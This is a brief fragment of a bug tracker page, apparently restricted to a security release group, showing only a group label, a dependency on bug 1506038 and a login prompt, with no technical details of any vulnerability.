Group: core-security-release
Depends on: 1506038
You need to log in before you can comment on or make changes to this bug.